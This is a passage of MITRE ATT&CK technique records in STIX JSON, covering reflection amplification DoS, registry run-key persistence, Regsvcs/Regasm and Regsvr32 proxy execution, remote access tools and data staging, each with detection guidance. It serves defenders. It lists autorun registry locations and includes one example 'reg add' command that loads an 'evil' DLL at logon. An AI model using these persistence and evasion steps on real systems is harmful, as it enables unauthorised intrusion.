                    "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."
                },
                {
                    "source_name": "Cloudflare Memcrashed Feb 2018",
                    "url": "https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/",
                    "description": "Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019."
                },
                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Reflection Amplification",
            "description": "Adversaries may attempt to cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017)\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018)  In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)",
            "id": "attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2021-03-29T16:13:53.747Z",
            "created": "2020-03-02T20:08:03.691Z",
            "x_mitre_data_sources": [
                "Sensor Health: Host Status",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_detection": "Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.",
            "x_mitre_version": "1.2",
            "x_mitre_is_subtechnique": true,
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace"
            ]
        },
        {
            "id": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
            "name": "Registry Run Keys / Startup Folder",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1060",
                    "url": "https://attack.mitre.org/techniques/T1060"
                },
                {
                    "external_id": "CAPEC-270",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/270.html"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/aa376977",
                    "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.",
                    "source_name": "Microsoft Run Key"
                },
                {
                    "url": "https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key",
                    "description": "Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018.",
                    "source_name": "Microsoft RunOnceEx APR 2018"
                },
                {
                    "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/",
                    "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.",
                    "source_name": "Oddvar Moe RunOnceEx Mar 2018"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-23T22:05:32.409Z",
            "created": "2017-05-31T21:30:49.988Z"
        },
        {
            "id": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>. The startup folder path for all users is <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>.\n\nThe following run keys are created by default on Windows systems:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: <code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit</code> and <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell</code> subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> run when any user logs on.\n\nBy default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
            "name": "Registry Run Keys / Startup Folder",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1547.001",
                    "url": "https://attack.mitre.org/techniques/T1547/001"
                },
                {
                    "external_id": "CAPEC-270",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/270.html"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/aa376977",
                    "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.",
                    "source_name": "Microsoft Run Key"
                },
                {
                    "source_name": "Microsoft Wow6432Node 2018",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry",
                    "description": "Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020."
                },
                {
                    "source_name": "Malwarebytes Wow6432Node 2016",
                    "url": "https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/",
                    "description": "Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020."
                },
                {
                    "url": "https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key",
                    "description": "Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018.",
                    "source_name": "Microsoft RunOnceEx APR 2018"
                },
                {
                    "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/",
                    "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.",
                    "source_name": "Oddvar Moe RunOnceEx Mar 2018"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2021-01-06T18:36:29.226Z",
            "created": "2020-01-23T22:02:48.566Z",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_contributors": [
                "Oddvar Moe, @oddvarmoe"
            ],
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Creation",
                "Windows Registry: Windows Registry Key Modification",
                "File: File Modification",
                "Command: Command Execution",
                "Process: Process Creation"
            ],
            "x_mitre_detection": "Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1"
        },
        {
            "id": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302",
            "name": "Regsvcs/Regasm",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1121",
                    "url": "https://attack.mitre.org/techniques/T1121"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx",
                    "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.",
                    "source_name": "MSDN Regsvcs"
                },
                {
                    "source_name": "MSDN Regasm",
                    "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
                },
                {
                    "source_name": "LOLBAS Regsvcs",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/",
                    "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019."
                },
                {
                    "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/",
                    "source_name": "LOLBAS Regasm"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-31T19:00:30.734Z",
            "created": "2017-05-31T21:31:33.499Z"
        },
        {
            "id": "attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8",
            "description": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)",
            "name": "Regsvcs/Regasm",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1218.009",
                    "url": "https://attack.mitre.org/techniques/T1218/009"
                },
                {
                    "source_name": "MSDN Regsvcs",
                    "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx"
                },
                {
                    "source_name": "MSDN Regasm",
                    "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
                },
                {
                    "source_name": "LOLBAS Regsvcs",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/",
                    "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019."
                },
                {
                    "source_name": "LOLBAS Regasm",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/",
                    "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-06-20T22:36:37.411Z",
            "created": "2020-01-23T19:42:16.439Z",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_contributors": [
                "Casey Smith"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.",
            "x_mitre_defense_bypassed": [
                "Digital Certificate Validation",
                "Application control"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "id": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a",
            "name": "Regsvr32",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1117",
                    "url": "https://attack.mitre.org/techniques/T1117"
                },
                {
                    "source_name": "Microsoft Regsvr32",
                    "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.",
                    "url": "https://support.microsoft.com/en-us/kb/249873"
                },
                {
                    "source_name": "LOLBAS Regsvr32",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/",
                    "description": "LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019."
                },
                {
                    "source_name": "Carbon Black Squiblydoo Apr 2016",
                    "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.",
                    "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html",
                    "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.",
                    "source_name": "FireEye Regsvr32 Targeting Mongolian Gov"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-31T19:00:56.475Z",
            "created": "2017-05-31T21:31:26.966Z"
        },
        {
            "id": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
            "name": "Regsvr32",
            "description": "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary. (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1218.010",
                    "url": "https://attack.mitre.org/techniques/T1218/010"
                },
                {
                    "source_name": "Microsoft Regsvr32",
                    "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.",
                    "url": "https://support.microsoft.com/en-us/kb/249873"
                },
                {
                    "source_name": "LOLBAS Regsvr32",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/",
                    "description": "LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019."
                },
                {
                    "source_name": "Carbon Black Squiblydoo Apr 2016",
                    "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.",
                    "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"
                },
                {
                    "source_name": "FireEye Regsvr32 Targeting Mongolian Gov",
                    "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-06-20T22:37:32.931Z",
            "created": "2020-01-23T19:52:17.414Z",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_contributors": [
                "Casey Smith"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Module: Module Load",
                "Command: Command Execution",
                "Network Traffic: Network Connection Creation"
            ],
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)",
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_defense_bypassed": [
                "Digital Certificate Validation",
                "Anti-virus",
                "Application control"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "id": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Remote Access Software",
            "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n\nRemote access tools may be established and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1219",
                    "url": "https://attack.mitre.org/techniques/T1219"
                },
                {
                    "url": "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf",
                    "description": "Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.",
                    "source_name": "Symantec Living off the Land"
                },
                {
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf",
                    "description": "CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.",
                    "source_name": "CrowdStrike 2015 Global Threat Report"
                },
                {
                    "url": "https://blog.crysys.hu/2013/03/teamspy/",
                    "description": "CrySyS Lab. (2013, March 20). TeamSpy \u2013 Obshie manevri. Ispolzovat\u2019 tolko s razreshenija S-a. Retrieved April 11, 2018.",
                    "source_name": "CrySyS Blog TeamSpy"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-06-20T20:42:37.320Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_network_requirements": true,
            "x_mitre_detection": "Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\n\n[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_contributors": [
                "Matt Kelly, @breakersall"
            ],
            "x_mitre_version": "2.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1074.002",
                    "url": "https://attack.mitre.org/techniques/T1074/002"
                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Remote Data Staging",
            "description": "Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.",
            "id": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "modified": "2021-03-08T10:33:02.019Z",
            "created": "2020-03-13T21:14:58.206Z",
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_data_sources": [
                "File: File Access",
                "File: File Creation",
                "Command: Command Execution"
            ],
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1076",
                    "url": "https://attack.mitre.org/techniques/T1076"
                },
                {
                    "external_id": "CAPEC-555",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/555.html"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx",
                    "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
                    "source_name": "TechNet Remote Desktop Services"
                },
                {
                    "url": "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/",
                    "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.",
                    "source_name": "Alperovitch Malware"
                },
                {
                    "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html",
                    "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.",
                    "source_name": "RDP Hijacking Korznikov"
                },
                {
                    "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6",
                    "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
                    "source_name": "RDP Hijacking Medium"
                },
                {
                    "url": "https://github.com/nccgroup/redsnarf",
                    "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.",
                    "source_name": "Kali Redsnarf"
                }
            ],
            "name": "Remote Desktop Protocol",
